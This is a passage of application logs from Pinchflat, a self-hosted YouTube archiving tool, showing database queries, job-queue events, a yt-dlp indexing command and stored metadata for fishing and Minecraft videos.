https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Alligator in an Abandoned Pond!", "d191e7f8-18b6-4742-af8d-5984aaf512c3", "93-bWHzVNPc", false, "https://www.youtube.com/watch?v=93-bWHzVNPc", 33, [], 1657, false, 20, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e110900 - I Found an Alligator in an Abandoned Pond!.mkv", false, false, 98, ~U[2024-11-09 13:00:02Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In todays video I catch the monster that has been attacking fish in an abandoned pond! It all started after finding a bunch of dead fish, so I started exploring the pond to try to find out what's causing this so I can catch it out and remove it! But it's not gonna be easy because the pond is infested with alligators, snakes, giant turtles, and deadly fish! I started out by netting around and immediately I caught rare catfish, eels, baby turtles, frogs, and a ton of mysterious alien fish! I kept going and managed to catch out the first monster, which was a giant snake! As I kept going I realized that this pond was full of a ton of crazy fish and I would need to catch them all out in order to save them... After a few more nets I caught venomous lionfish, mudskippers, salamanders, and a bunch more fish! But then I came across yet another snake which I was able to catch out and remove! I kept going and I started catching a ton of monster fish including piranhas, bichirs, pufferfish, sturgeon, freshwater dolphins, and ! After that I made a shocking discovery when I caught an abba abba knife fish which is one of the deadliest fish in the world! But then I realized if I want to find out what the monster is I would need to get in the pond, so I jumped in and immediately I caught giant freshwater sharks, redtail catfish, and even another abba abba knife fish! As I kept going deeper into the pond, something big attacked me which ended up being a monster soft-shell turtle! After removing it I was almost positive I caught out the monster that has been eating all of the fish, but as I got back in the pond I spotted an alligator! I quickly got out of the pond and I then decided to place a couple fish traps to hopefully save the rest of the fish and remove the monster! After letting them soak overnight, it was time to check the traps and they were loaded with fish! It was now time to check the biggest fish trap and I finally ended up catching the alligator which I relocated to a nearby creek! If you want me to come back to save the rest of the fish leave a like!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Alligator in an Abandoned Pond!", "93-bWHzVNPc", "https://www.youtube.com/watch?v=93-bWHzVNPc", 33, 1657, false, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e110900 - I Found an Alligator in an Abandoned Pond!.mkv", false, ~U[2024-11-09 13:00:02Z]] 08:30:39.593 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], 33] 08:30:39.595 [debug] QUERY OK source="media_items" db=1.0ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 08:30:39.596 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=4.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 08:30:39.596 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 08:30:39.598 [debug] QUERY OK source="tasks" db=0.2ms idle=2.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7274, 33, ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z]] 08:30:39.598 [info] {"args":{"id":33},"id":7258,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":51865135,"event":"job:stop","queue_time":736816,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 08:30:59.384 [info] {"source":"oban","duration":1934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.094 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:31:29.387 [info] {"source":"oban","duration":1829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:59.390 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.096 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:32:29.393 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:59.396 [info] {"source":"oban","duration":1836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.098 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:33:29.399 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:31.232 [info] {"args":{"id":36},"id":7259,"meta":{},"system_time":1780490011232297885,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 08:33:31.232 [debug] QUERY OK source="sources" db=0.2ms idle=543.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:31.233 [debug] QUERY OK source="settings" db=0.1ms idle=543.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:31.233 [debug] QUERY OK source="media_items" db=0.5ms idle=543.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 08:33:31.234 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 08:33:31.234 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 08:33:31.235 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:31.235 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:31.237 [debug] QUERY OK source="media_items" db=1.0ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [36] 08:33:31.238 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 08:33:31.239 [debug] Current batch of media processed. Will check again in 1000ms 08:33:31.239 [debug] QUERY OK source="settings" db=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:31.239 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:31.239 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:31.239 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@itskingblake --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/King Blake👑/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/3b/ab/3baba424ff500d3d8966ee0ba3bba98f54d71139ffde50be4083599b71e26102.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/2a/e1/2ae109e1c341607ab5dc43ab853617384564e4e0edc2276e0fd465f0cf97fa79.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 08:33:32.239 [debug] Current batch of media processed. Will check again in 1000ms 08:33:33.240 [debug] Current batch of media processed. Will check again in 1000ms 08:33:34.241 [debug] Current batch of media processed. Will check again in 1000ms 08:33:35.242 [debug] Current batch of media processed. Will check again in 1000ms 08:33:36.244 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Most Minecraft players will never find these structures naturally…\n\nFrom the mysterious Desert Well to the massive Woodland Mansion, these are 5 of the rarest structures in Minecraft! Some are hidden underground, some are thousands of blocks away, and one is so rare that most players don’t even know it exists.\n\nWhich of these structures have YOU found naturally?\n\n👑 Subscribe for more Minecraft builds, facts, secrets, and rare discoveries!\n\n#minecraft #minecraftfacts #minecraftstructures #minecrafttutorial #gaming", "duration" => 219, "filename" => "/downloads/rory/King Blake👑/2026-05-30 5 Minecraft Structures You'll Probably Never Find/5 Minecraft Structures You'll Probably Never Find [73e79OW-X4o].mp4", "id" => "73e79OW-X4o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=73e79OW-X4o", "playlist_index" => 1, "timestamp" => 1780174818, "title" => "5 Minecraft Structures You'll Probably Never Find", "upload_date" => "20260530"} 08:33:36.245 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1555.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [36] 08:33:36.246 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1556.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:36.247 [debug] QUERY OK source="media_items" db=0.4ms idle=1557.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 21:00:18Z], 36] 08:33:36.248 [debug] QUERY OK source="media_items" db=0.9ms idle=1014.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Most Minecraft players will never find these structures naturally…\n\nFrom the mysterious Desert Well to the massive Woodland Mansion, these are 5 of the rarest structures in Minecraft! Some are hidden underground, some are thousands of blocks away, and one is so rare that most players don’t even know it exists.\n\nWhich of these structures have YOU found naturally?\n\n👑 Subscribe for more Minecraft builds, facts, secrets, and rare discoveries!\n\n#minecraft #minecraftfacts #minecraftstructures #minecrafttutorial #gaming", "5 Minecraft Structures You'll Probably Never Find", "31c2aeea-b95c-48bf-985e-abc2f551ed6e", "73e79OW-X4o", false, "https://www.youtube.com/watch?v=73e79OW-X4o", 36, [], 219, false, 1, "/downloads/rory/King Blake👑/2026-05-30 5 Minecraft Structures You'll Probably Never Find/5 Minecraft Structures You'll Probably Never Find [73e79OW-X4o].mp4", false, false, 98, ~U[2026-05-30 21:00:18Z], ~U[2026-06-03 12:33:36Z], ~U[2026-06-03 12:33:36Z], "Most Minecraft players will never find these structures naturally…\n\nFrom the mysterious Desert Well to the massive Woodland Mansion, these are 5 of the rarest structures in Minecraft! Some are hidden underground, some are thousands of blocks away, and one is so rare that most players don’t even know it exists.\n\nWhich of these structures have YOU found naturally?\n\n👑 Subscribe for more Minecraft builds, facts, secrets, and rare discoveries!\n\n#minecraft #minecraftfacts #minecraftstructures #minecrafttutorial #gaming", "5 Minecraft Structures You'll Probably Never Find", "73e79OW-X4o", "https://www.youtube.com/watch?v=73e79OW-X4o", 36, 219, false, "/downloads/rory/King Blake👑/2026-05-30 5 Minecraft Structures You'll Probably Never Find/5 Minecraft Structures You'll Probably Never Find [73e79OW-X4o].mp4", false, ~U[2026-05-30 21:00:18Z]] 08:33:36.248 [debug] QUERY OK source="sources" db=0.2ms idle=13.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:36.248 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 08:33:36.249 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140719] 08:33:36.249 [debug] Current batch of media processed. Will check again in 1000ms 08:33:37.250 [debug] Current batch of media processed. Will check again in 1000ms 08:33:38.251 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In this video, I’ll show you 5 insane Minecraft portal designs that will completely upgrade your world! From a creepy dragon portal to a giant pumpkin portal, these builds are perfect for survival or creative worlds.\n\nPortal Order:\n🔥 Crimson Portal\n⚡ On/Off Portal\n💣 Creeper Portal\n🎃 Pumpkin Portal\n🐉 Dragon Portal\n\nWhich portal was your favorite?\n\n👍 Like & Subscribe for more Minecraft build ideas!\n\n#minecraft #minecraftbuilds #minecrafttutorial #minecraftdesign #minecraftsurvival", "duration" => 366, "filename" => "/downloads/rory/King Blake👑/2026-05-26 5 Minecraft Portal Designs You NEED/5 Minecraft Portal Designs You NEED [TM5BcRFffhY].mp4", "id" => "TM5BcRFffhY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TM5BcRFffhY", "playlist_index" => 2, "timestamp" => 1779829232, "title" => "5 Minecraft Portal Designs You NEED", "upload_date" => "20260526"} 08:33:38.253 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=562.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [36] 08:33:38.254 [debug] QUERY OK source="sources" db=0.4ms idle=564.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:38.255 [debug] QUERY OK source="media_items" db=1.5ms idle=564.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 21:00:32Z], 36] 08:33:38.266 [debug] QUERY OK source="media_items" db=9.7ms idle=566.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video, I’ll show you 5 insane Minecraft portal designs that will completely upgrade your world! From a creepy dragon portal to a giant pumpkin portal, these builds are perfect for survival or creative worlds.\n\nPortal Order:\n🔥 Crimson Portal\n⚡ On/Off Portal\n💣 Creeper Portal\n🎃 Pumpkin Portal\n🐉 Dragon Portal\n\nWhich portal was your favorite?\n\n👍 Like & Subscribe for more Minecraft build ideas!\n\n#minecraft #minecraftbuilds #minecrafttutorial #minecraftdesign #minecraftsurvival", "5 Minecraft Portal Designs You NEED", "551ae7a8-96cb-424a-8f50-2d60b55f0c28", "TM5BcRFffhY", false, "https://www.youtube.com/watch?v=TM5BcRFffhY", 36, [], 366, false, 2, "/downloads/rory/King Blake👑/2026-05-26 5 Minecraft Portal Designs You NEED/5 Minecraft Portal Designs You NEED [TM5BcRFffhY].mp4", false, false, 98, ~U[2026-05-26 21:00:32Z], ~U[2026-06-03 12:33:38Z], ~U[2026-06-03 12:33:38Z], "In this video, I’ll show you 5 insane Minecraft portal designs that will completely upgrade your world! From a creepy dragon portal to a giant pumpkin portal, these builds are perfect for survival or creative worlds.\n\nPortal Order:\n🔥 Crimson Portal\n⚡ On/Off Portal\n💣 Creeper Portal\n🎃 Pumpkin Portal\n🐉 Dragon Portal\n\nWhich portal was your favorite?\n\n👍 Like & Subscribe for more Minecraft build ideas!\n\n#minecraft #minecraftbuilds #minecrafttutorial #minecraftdesign #minecraftsurvival", "5 Minecraft Portal Designs You NEED", "TM5BcRFffhY", "https://www.youtube.com/watch?v=TM5BcRFffhY", 36, 366, false, "/downloads/rory/King Blake👑/2026-05-26 5 Minecraft Portal Designs You NEED/5 Minecraft Portal Designs You NEED [TM5BcRFffhY].mp4", false, ~U[2026-05-26 21:00:32Z]] 08:33:38.266 [debug] QUERY OK source="sources" db=0.3ms idle=28.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:38.267 [debug] QUERY OK source="media_profiles" db=0.2ms idle=13.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 08:33:38.268 [debug] QUERY OK source="media_items" db=0.4ms idle=13.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 